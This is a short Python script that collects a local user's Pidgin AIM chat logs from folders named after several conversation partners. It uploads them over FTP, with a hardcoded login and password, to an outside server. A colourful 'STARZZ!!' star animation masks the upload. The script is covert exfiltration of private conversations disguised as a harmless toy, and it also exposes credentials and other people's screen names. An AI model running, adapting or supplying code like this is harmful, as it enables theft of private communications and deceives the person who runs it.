#!/usr/bin/python import sys, os from ftplib import FTP global files files2 = [] def upload(ftp, file): ext = os.path.splitext(file)[1] #if ext in (".txt", ".htm", ".html"): curr = file.split('/') ftp.storlines("STOR " + curr[len(curr)-1], open(file)) #else: # ftp.storbinary("STOR " + file, open(file, "rb"), 1024) ftp = FTP('juicemedia.tv') ftp.login('piano@juicemedia.tv', 'zxcvzxcv') ftp.cwd('dan/logs') def callback(arg, directory, files): global files2 for file in files: toappend = os.path.join(directory, file) if toappend.endswith('.txt'): files2.append(toappend) os.path.walk("/home/alex/.purple/logs/aim/pianoboy3333/broadwaybabe8224", callback, "") os.path.walk("/home/alex/.purple/logs/aim/pianoboy3333/smilez18anf", callback, "") os.path.walk("/home/alex/.purple/logs/aim/pianoboy3333/roxyaj66", callback, "") os.path.walk("/home/alex/.purple/logs/aim/pianoboy3333/jinxy1011", callback, "") os.path.walk("/home/alex/.purple/logs/aim/pianoboy3333/zkango106", callback, "") os.path.walk("/home/alex/.purple/logs/aim/pianoboy3333/crossmyheart000", callback, "") print """STARZZ!!""" stars="*" color = 0 try: for i in files2: print stars upload(ftp, i) os.system('tput setaf ' + str(color)) stars += '*' if color < 9: color += 1 else: color = 0 except KeyboardInterrupt: pass except EOFError: pass os.system('tput setaf 0')